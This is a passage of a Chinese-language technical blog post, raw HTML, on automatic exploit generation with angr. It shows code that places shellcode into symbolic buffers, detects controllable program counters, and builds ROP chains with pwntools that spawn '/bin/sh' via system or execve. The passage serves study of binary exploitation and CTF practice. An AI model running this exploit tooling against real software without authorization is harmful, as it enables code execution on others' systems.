14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;"><span style="color: rgb(198, 120, 221);">def</span> <span style="color: rgb(97, 174, 238);">check_continuity</span>(address, addresses, length):<br/>    <span style="color: rgb(152, 195, 121);">&#39;&#39;&#39;<br/>    dumb way of checking if the region at &#39;address&#39; contains &#39;length&#39; amount of controlled<br/>    memory.<br/>    &#39;&#39;&#39;</span><br/>    <span style="color: rgb(198, 120, 221);">for</span> i <span style="color: rgb(198, 120, 221);">in</span> <span style="color: rgb(230, 192, 123);">range</span>(length):<br/>        <span style="color: rgb(198, 120, 221);">if</span> <span style="color: rgb(198, 120, 221);">not</span> address + i <span style="color: rgb(198, 120, 221);">in</span> addresses:<br/>            <span style="color: rgb(198, 120, 221);">return</span> <span style="color: rgb(86, 182, 194);">False</span><br/>    <span style="color: rgb(198, 120, 221);">return</span> <span style="color: rgb(86, 182, 194);">True</span></code></pre><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span style="color: rgb(63, 63, 63);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 1.4px;text-align: left;">  </span>不过，这里的话，我感觉直接用shellcode的最大长度判断不就可以了吗？不理解为啥要从最小长度开始遍历。不过这个不是重点，接下来找到地址之后对状态添加额外约束：</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;">        l.info(<span style="color: rgb(152, 195, 121);">&#34;found symbolic buffer at %#x&#34;</span>, buf_addr)<br/>        memory = ep.memory.load(buf_addr, <span style="color: rgb(230, 192, 123);">len</span>(shellcode))<br/>        sc_bvv = ep.solver.BVV(shellcode)<br/>        <span style="color: rgb(92, 99, 112);font-style: italic;"># check satisfiability of placing shellcode into the address</span><br/>        <span style="color: rgb(198, 120, 221);">if</span> ep.satisfiable(extra_constraints=(memory == sc_bvv,ep.regs.pc == buf_addr)):<br/>            l.info(<span style="color: rgb(152, 195, 121);">&#34;found buffer for shellcode, completing exploit&#34;</span>)<br/>            ep.add_constraints(memory == sc_bvv)<br/>            l.info(<span style="color: rgb(152, 195, 121);">&#34;pointing pc towards shellcode buffer&#34;</span>)<br/>            ep.add_constraints(ep.regs.pc == buf_addr)</code></pre><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span style="color: rgb(63, 63, 63);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 1.4px;text-align: left;">  </span>如果状态可以满足这些约束，那么就将这些约束添加到状态里面进行求解，直接拿到了exp。但是也有一些缺陷，单单从是否跑出unconstrained state并且判断每一个bit是否可以符号化来判断是否存在可控的内存问题非常消耗性能。同时，还有一个非常致命的缺陷，那就是如果在符号执行的过程中很可能存在没有触发漏洞的情况。经典的例子就是，目标的缓冲区和目标写入的大小相近。这表明其实利用符号执行来直接进行漏洞挖掘其实非常困难。</p><h4 style="font-size: 1em;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-weight: bold;margin: 2em 8px 0.5em;color: rgb(255, 118, 118);">优化</h4><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;"><span style="color: rgb(198, 120, 221);">def</span> <span style="color: rgb(97, 174, 238);">check_mem_corruption</span>(simgr):<br/>    <span style="color: rgb(198, 120, 221);">if</span> <span style="color: rgb(230, 192, 123);">len</span>(simgr.unconstrained):<br/>        <span style="color: rgb(198, 120, 221);">for</span> path <span style="color: rgb(198, 120, 221);">in</span> simgr.unconstrained:<br/>            <span style="color: rgb(198, 120, 221);">if</span> path.satisfiable(extra_constraints=[path.regs.pc == <span style="color: rgb(152, 195, 121);">b&#34;CCCC&#34;</span>]):<br/>                path.add_constraints(path.regs.pc == <span style="color: rgb(152, 195, 121);">b&#34;CCCC&#34;</span>)<br/>                <span style="color: rgb(198, 120, 221);">if</span> path.satisfiable():<br/>                    simgr.stashes[<span style="color: rgb(152, 195, 121);">&#39;mem_corrupt&#39;</span>].append(path)<br/>                simgr.stashes[<span style="color: rgb(152, 195, 121);">&#39;unconstrained&#39;</span>].remove(path)<br/>                simgr.drop(stash=<span style="color: rgb(152, 195, 121);">&#39;active&#39;</span>)<br/>    <span style="color: rgb(198, 120, 221);">return</span> simgr<br/></code></pre><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span style="color: rgb(63, 63, 63);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 1.4px;text-align: left;">  </span>相比于之前的逐比特符号化判断+地址是否可控的形式，这样显然更加直接，但是缺点在于没有直接把shellcode考虑进去，不过加入shellcode的判断也确实太有针对性，不适合广泛利用，下面是一个demo：</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;"><span style="color: rgb(198, 120, 221);">import</span> angr, argparse, IPython<br/><span style="color: rgb(198, 120, 221);">def</span> <span style="color: rgb(97, 174, 238);">check_mem_corruption</span>(simgr):<br/>    <span style="color: rgb(198, 120, 221);">if</span> <span style="color: rgb(230, 192, 123);">len</span>(simgr.unconstrained):<br/>        <span style="color: rgb(198, 120, 221);">for</span> path <span style="color: rgb(198, 120, 221);">in</span> simgr.unconstrained:<br/>            <span style="color: rgb(198, 120, 221);">if</span> path.satisfiable(extra_constraints=[path.regs.pc == <span style="color: rgb(152, 195, 121);">b&#34;CCCC&#34;</span>]):<br/>                path.add_constraints(path.regs.pc == <span style="color: rgb(152, 195, 121);">b&#34;CCCC&#34;</span>)<br/>                <span style="color: rgb(198, 120, 221);">if</span> path.satisfiable():<br/>                    simgr.stashes[<span style="color: rgb(152, 195, 121);">&#39;mem_corrupt&#39;</span>].append(path)<br/>                simgr.stashes[<span style="color: rgb(152, 195, 121);">&#39;unconstrained&#39;</span>].remove(path)<br/>                simgr.drop(stash=<span style="color: rgb(152, 195, 121);">&#39;active&#39;</span>)<br/>    <span style="color: rgb(198, 120, 221);">return</span> simgr<br/><span style="color: rgb(198, 120, 221);">def</span> <span style="color: rgb(97, 174, 238);">main</span>():<br/>    parser = argparse.ArgumentParser()<br/>    parser.add_argument(<span style="color: rgb(152, 195, 121);">&#34;Binary&#34;</span>)<br/>    parser.add_argument(<span style="color: rgb(152, 195, 121);">&#34;Start_Addr&#34;</span>, <span style="color: rgb(230, 192, 123);">type</span>=<span style="color: rgb(230, 192, 123);">int</span>)<br/>    args = parser.parse_args()<br/>    p = angr.Project(args.Binary)<br/>    state = p.factory.blank_state(addr=args.Start_Addr)<br/>    <br/>    simgr = p.factory.simgr(state, save_unconstrained=<span style="color: rgb(86, 182, 194);">True</span>)<br/>    simgr.stashes[<span style="color: rgb(152, 195, 121);">&#39;mem_corrupt&#39;</span>]  = []<br/>    <br/>    simgr.explore(step_func=check_mem_corruption)<br/>    IPython.embed()<br/>    <br/><span style="color: rgb(198, 120, 221);">if</span> __name__ == <span style="color: rgb(152, 195, 121);">&#34;__main__&#34;</span>:<br/>    main()<br/></code></pre><h3 style="white-space: normal;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.1em;font-weight: bold;margin-top: 2em;margin-right: 8px;margin-bottom: 0.75em;padding-left: 8px;border-left: 3px solid rgb(255, 118, 118);color: rgb(63, 63, 63);">Automatic rop chain generation</h3><blockquote style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;border-left: none;padding: 1em;border-radius: 8px;color: rgba(0, 0, 0, 0.5);background: rgb(247, 247, 247);margin: 2em 8px;"><p style="line-height: 1.75;font-size: 1em;letter-spacing: 0.1em;color: rgb(80, 80, 80);"><a href="https://github.com/ChrisTheCoolHut/Auto_rop_chain_generation" target="_blank">https://github.com/ChrisTheCoolHut/Auto_rop_chain_generation</a></p></blockquote><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span style="color: rgb(63, 63, 63);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 1.4px;text-align: left;">  </span>之前大多讲的是buffer over flow的内存问题的发现，但是rop chain的生成也十分的重要，不过比起问题的发现，这一块的内容可能还更为复杂一点，对于rop chain的构建，基本的步骤如下：</p><ol style="font-size: 14px;white-space: normal;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;padding-left: 1em;color: rgb(63, 63, 63);" class="list-paddingleft-1"><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>1. gadget finding</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>2. gadget chaining</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>3. Constraint applying</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>4. state emulation</p></li></ol><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">如下：</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;"><span style="color: rgb(198, 120, 221);">def</span> <span style="color: rgb(97, 174, 238);">get_rop_chain</span>(state):<br/>    <span style="color: rgb(152, 195, 121);">&#34;&#34;&#34;<br/>    We&#39;re using a copy of the original state since we are applying<br/>    constraints one at a time and stepping through the state.<br/>    &#34;&#34;&#34;</span><br/>    state_copy = state.copy()<br/>    binary_name = state.project.filename<br/>    pwntools_elf = ELF(binary_name)<br/>    <span style="color: rgb(152, 195, 121);">&#34;&#34;&#34;<br/>    Here we&#39;re getting the ropchain bytes and rop chain object<br/>    that has the individual gadget addresses and values<br/>    &#34;&#34;&#34;</span><br/>    rop_object, rop_chain = generate_standard_rop_chain(binary_name)<br/>    <span style="color: rgb(152, 195, 121);">&#34;&#34;&#34;<br/>    Here we&#39;re running through the program state and setting<br/>    each gadget.<br/>    &#34;&#34;&#34;</span><br/>    user_input, new_state = do_64bit_rop_with_stepping(<br/>        pwntools_elf, rop_object, rop_chain, state_copy<br/>    )<br/>    <span style="color: rgb(152, 195, 121);">&#34;&#34;&#34;<br/>    With our constraints set, our binary&#39;s STDIN<br/>    should now contain our entire overflow + ropchain!<br/>    &#34;&#34;&#34;</span><br/>    input_bytes = new_state.posix.dumps(<span style="color: rgb(209, 154, 102);">0</span>)<br/>    <span style="color: rgb(198, 120, 221);">return</span> input_bytes</code></pre><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span style="color: rgb(63, 63, 63);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 1.4px;text-align: left;">  </span>经常打CTF的同学估计找到，对于rop chain的寻找和构建都可以利用<span style="line-height: 1.75;color: rgb(87, 107, 149);">pwntools</span>的强大功能：</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;"><span style="color: rgb(198, 120, 221);">def</span> <span style="color: rgb(97, 174, 238);">generate_standard_rop_chain</span>(binary_path):<br/>    context.binary = binary_path<br/>    elf = ELF(binary_path)<br/>    rop = ROP(elf)<br/>    <span style="color: rgb(92, 99, 112);font-style: italic;"># These are strings we want to call</span><br/>    strings = [<span style="color: rgb(152, 195, 121);">b&#34;/bin/sh\x00&#34;</span>, <span style="color: rgb(152, 195, 121);">b&#34;/bin/bash\x00&#34;</span>]<br/>    functions = [<span style="color: rgb(152, 195, 121);">&#34;system&#34;</span>, <span style="color: rgb(152, 195, 121);">&#34;execve&#34;</span>]<br/>    <span style="color: rgb(152, 195, 121);">&#34;&#34;&#34;<br/>    The two main components we need in our rop chain<br/>    is either a system() or exec() call and a refernce<br/>    to the string we want to call (/bin/sh)<br/>    &#34;&#34;&#34;</span><br/>    ret_func = <span style="color: rgb(86, 182, 194);">None</span><br/>    ret_string = <span style="color: rgb(86, 182, 194);">None</span><br/>    <span style="color: rgb(152, 195, 121);">&#34;&#34;&#34;<br/>    angr can find these functions using the loader reference<br/>    p.loader, however we&#39;ll need to use pwntools for the rop<br/>    chain generation anyways, so we&#39;ll just stick with pwntools<br/>    &#34;&#34;&#34;</span><br/>    <span style="color: rgb(198, 120, 221);">for</span> function <span style="color: rgb(198, 120, 221);">in</span> functions:<br/>        <span style="color: rgb(198, 120, 221);">if</span> function <span style="color: rgb(198, 120, 221);">in</span> elf.plt:<br/>            ret_func = elf.plt[function]<br/>            <span style="color: rgb(198, 120, 221);">break</span><br/>        <span style="color: rgb(198, 120, 221);">elif</span> function <span style="color: rgb(198, 120, 221);">in</span> elf.symbols:<br/>            ret_func = elf.symbols[function]<br/>            <span style="color: rgb(198, 120, 221);">break</span><br/>    <span style="color: rgb(92, 99, 112);font-style: italic;"># Find the string we want to pass it</span><br/>    <span style="color: rgb(198, 120, 221);">for</span> string <span style="color: rgb(198, 120, 221);">in</span> strings:<br/>        str_occurences = <span style="color: rgb(230, 192, 123);">list</span>(elf.search(string))<br/>        <span style="color: rgb(198, 120, 221);">if</span> str_occurences:<br/>            ret_string = str_occurences[<span style="color: rgb(209, 154, 102);">0</span>]<br/>            <span style="color: rgb(198, 120, 221);">break</span><br/>    <span style="color: rgb(198, 120, 221);">if</span> <span style="color: rgb(198, 120, 221);">not</span> ret_func:<br/>        <span style="color: rgb(198, 120, 221);">raise</span> RuntimeError(<span style="color: rgb(152, 195, 121);">&#34;Cannot find symbol to return to&#34;</span>)<br/>    <span style="color: rgb(198, 120, 221);">if</span> <span style="color: rgb(198, 120, 221);">not</span> ret_string:<br/>        <span style="color: rgb(198, 120, 221);">raise</span> RuntimeError(<span style="color: rgb(152, 195, 121);">&#34;Cannot find string to pass to system or exec call&#34;</span>)<br/>    <span style="color: rgb(92, 99, 112);font-style: italic;"># movabs fix</span><br/>    <span style="color: rgb(152, 195, 121);">&#34;&#34;&#34;<br/>    During amd64 ropchaining, there is sometimes a stack alignment<br/>    issue that folks call the `movabs` issue inside of a system()<br/>    call.Adding a single rop-ret gadget here fixes that.<br/>    &#34;&#34;&#34;</span><br/>    rop.raw(rop.ret.address)<br/>    <span style="color: rgb(152, 195, 121);">&#34;&#34;&#34;<br/>    The pwntools interface is nice enough to enable us to construct<br/>    our chain with a rop.call function here.<br/>    &#34;&#34;&#34;</span><br/>    rop.call(ret_func, [ret_string])<br/>    log.info(<span style="color: rgb(152, 195, 121);">&#34;rop chain gadgets and values:\n{}&#34;</span>.<span style="color: rgb(230, 192, 123);">format</span>(rop.dump()))<br/>    <span style="color: rgb(152, 195, 121);">&#34;&#34;&#34;<br/>    We need both the generated chain and gadget addresses for when<br/>    we contrain theprogram state to execute and constrain this chain,<br/>    so we pass back both the rop tools refernce along with the chain.<br/>    &#34;&#34;&#34;</span><br/>    <span style="color: rgb(198, 120, 221);">return</span> rop, rop.build()</code></pre><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span style="color: rgb(63, 63, 63);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 1.4px;text-align: left;">  </span>通过上述的方法可以实现对于rop chain的创建，但是还需要对其进行约束处理和模拟验证。</p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span style="color: rgb(63, 63, 63);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 1.4px;text-align: left;">  </span>当我们的rop chain使用一个目标中存在的func的时候会有一个问题，因为angr在模拟执行的时候使用的是SimProcedures来提升速度和精确度而不是直接使用 real func，当模拟的过程中遇到procedures那么rop调用链就会被打破，因为没有跳转到real func上面，所以当我们步入procedures的时候直接设置pc指针到对应的real func。</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;"><span style="color: rgb(198, 120, 221);">if</span> new_state.satisfiable(extra_constraints=([new_state.regs.pc == gadget])):<br/>    <span style="color: rgb(152, 195, 121);">&#34;&#34;&#34;<br/>    For the actual ROP gadgets, we&#39;re stepping through them<br/>    until we hit an unconstrained value - We did a `ret` back<br/>    onto the symbolic stack.<br/>    This process is slower than just setting the whole stack<br/>    to the chain, but in testing it seems to work more reliably<br/>    &#34;&#34;&#34;</span><br/>    log.info(<span style="color: rgb(152, 195, 121);">&#34;Setting PC to {}&#34;</span>.<span style="color: rgb(230, 192, 123);">format</span>(<span style="color: rgb(230, 192, 123);">hex</span>(gadget)))<br/>    new_state.add_constraints(new_state.regs.pc == gadget)<br/>    <span style="color: rgb(152, 195, 121);">&#34;&#34;&#34;<br/>    Since we&#39;re emulating the program&#39;s execution with angr we<br/>    will run into an issue when executing any symbols. Where a<br/>    SimProcedure will get executed instead of the real function,<br/>    which then gives us the wrong constraints/execution for our<br/>    rop_chain<br/>    &#34;&#34;&#34;</span><br/>    <span style="color: rgb(198, 120, 221);">if</span> gadget <span style="color: rgb(198, 120, 221);">in</span> elf_symbol_addrs:<br/>        log.info(<br/>            <span style="color: rgb(152, 195, 121);">&#34;gadget is hooked symbol, contraining to real address, but calling SimProc&#34;</span><br/>        )<br/>        symbol = [x <span style="color: rgb(198, 120, 221);">for</span> x <span style="color: rgb(198, 120, 221);">in</span> elf.symbols.items() <span style="color: rgb(198, 120, 221);">if</span> gadget == x[<span style="color: rgb(209, 154, 102);">1</span>]][<span style="color: rgb(209, 154, 102);">0</span>]<br/>        p = new_state.project<br/>        new_state.regs.pc = p.loader.find_symbol(symbol[<span style="color: rgb(209, 154, 102);">0</span>]).rebased_addr<br/>    <span style="color: rgb(152, 195, 121);">&#34;&#34;&#34;<br/>    There is no point in letting our last gadget run, we have all<br/>    the constraints on our input to trigger the leak<br/>    &#34;&#34;&#34;</span><br/>    <span style="color: rgb(198, 120, 221);">if</span> i == <span style="color: rgb(230, 192, 123);">len</span>(rop_chain) - <span style="color: rgb(209, 154, 102);">1</span>:<br/>        <span style="color: rgb(198, 120, 221);">break</span><br/>    <span style="color: rgb(152, 195, 121);">&#34;&#34;&#34;<br/>    Since we&#39;re stepping through a ROP chain, VEX IR wants to<br/>    try and lift the whole block and emulate a whole block step<br/>    this will break what we&#39;re trying to do, so we need to<br/>    tell it to try and emulate single-step execution as closely<br/>    as we can with the opt_level=0    <br/>    &#34;&#34;&#34;</span><br/>    rop_simgr = new_state.project.factory.simgr(new_state)<br/>    rop_simgr.explore(opt_level=<span style="color: rgb(209, 154, 102);">0</span>)<br/>    new_state = rop_simgr.unconstrained[<span style="color: rgb(209, 154, 102);">0</span>]</code></pre><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span style="color: rgb(63, 63, 63);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 1.4px;text-align: left;">  </span>但是在rop chain里面存在很多对于堆栈和寄存器的数据设置，因此这个时候需要根据rop chain的内容设置期待的约束：</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;"><span style="color: rgb(152, 195, 121);">&#34;&#34;&#34;<br/>Case 2: We&#39;re setting a register to an expected popped value<br/>Usually for 64bit rop chains, we&#39;re passing values into<br/>the argument registers like RDI.<br/>&#34;&#34;&#34;</span><br/>next_reg = curr_rop.regs.pop()<br/>log.debug(<span style="color: rgb(152, 195, 121);">&#34;Setting register : {}&#34;</span>.<span style="color: rgb(230, 192, 123);">format</span>(next_reg))<br/>gadget_msg = gadget<br/><span style="color: rgb(198, 120, 221);">if</span> <span style="color: rgb(230, 192, 123);">isinstance</span>(gadget, <span style="color: rgb(230, 192, 123);">int</span>):<br/>    gadget_msg = <span style="color: rgb(230, 192, 123);">hex</span>(gadget)<br/>state_reg = <span style="color: rgb(230, 192, 123);">getattr</span>(new_state.regs, next_reg)<br/><span style="color: rgb(198, 120, 221);">if</span> state_reg.symbolic <span style="color: rgb(198, 120, 221);">and</span> new_state.satisfiable(<br/>    extra_constraints=([state_reg == gadget])<br/>):<br/>    log.info(<span style="color: rgb(152, 195, 121);">&#34;Setting {} to {}&#34;</span>.<span style="color: rgb(230, 192, 123);">format</span>(next_reg, gadget_msg))<br/>    new_state.add_constraints(state_reg == gadget)<br/><span style="color: rgb(198, 120, 221);">else</span>:<br/>    log.error(<span style="color: rgb(152, 195, 121);">&#34;unsatisfied on {} -&gt; {}&#34;</span>.<span style="color: rgb(230, 192, 123);">format</span>(next_reg, gadget_msg))<br/>    <span style="color: rgb(198, 120, 221);">break</span><br/><span style="color: rgb(198, 120, 221);">if</span> <span style="color: rgb(230, 192, 123);">len</span>(curr_rop.regs) == <span style="color: rgb(209, 154, 102);">0</span>:<br/>    curr_rop = <span style="color: rgb(86, 182, 194);">None</span></code></pre><h3 style="white-space: normal;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.1em;font-weight: bold;margin-top: 2em;margin-right: 8px;margin-bottom: 0.75em;padding-left: 8px;border-left: 3px solid rgb(255, 118, 118);color: rgb(63, 